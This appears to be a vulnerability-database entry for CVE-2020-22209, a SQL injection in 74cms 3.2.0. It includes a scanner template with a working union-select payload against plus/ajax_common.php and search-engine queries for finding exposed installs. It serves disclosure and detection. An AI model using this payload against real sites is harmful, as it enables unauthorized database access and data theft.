CVE-2020-22209: 74cms - ajax_common.php SQL Injection

2025-08-01 74cms PoC Public

Description

SQL Injection in 74cms 3.2.0 via the query parameter to plus/ajax_common.php.

PoC

id: CVE-2020-22209

info:
  name: 74cms - ajax_common.php SQL Injection
  author: ritikchaddha
  severity: critical
  description: |
    SQL Injection in 74cms 3.2.0 via the query parameter to plus/ajax_common.php.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the underlying database.
  remediation: |
    Apply the latest patch or update provided by the vendor to fix the SQL Injection vulnerability in the 74cms - ajax_common.php file.
  reference:
    - https://github.com/blindkey/cve_like/issues/12
    - https://nvd.nist.gov/vuln/detail/CVE-2020-22209
    - https://github.com/20142995/sectool
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-22209
    cwe-id: CWE-89
    epss-score: 0.08579
    epss-percentile: 0.94946
    cpe: cpe:2.3:a:74cms:74cms:3.2.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: 74cms
    product: 74cms
    shodan-query: http.html:"74cms"
    fofa-query:
      - app="74cms"
      - body="74cms"
  tags: cve,cve2020,74cms,sqli,vuln,vkev
variables:
  num: "999999999"

http:
  - method: GET
    path:
      - '{{BaseURL}}/plus/ajax_common.php?act=hotword&query=aa%錦%27%20union%20select%201,md5({{num}}),3%23%27'

    matchers:
      - type: word
        part: body
        words:
          - '{{md5({{num}})}}'
# digest: 4a0a0047304502201cdb9ef6af82603c5f0925b31b8544bb437915fe931cc8a69febbaf9969dd9740221008d5f184834ec303ce50fbb2c0fd7bc8fac43548ff1acb7a89c4d3d22a49ffde2:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities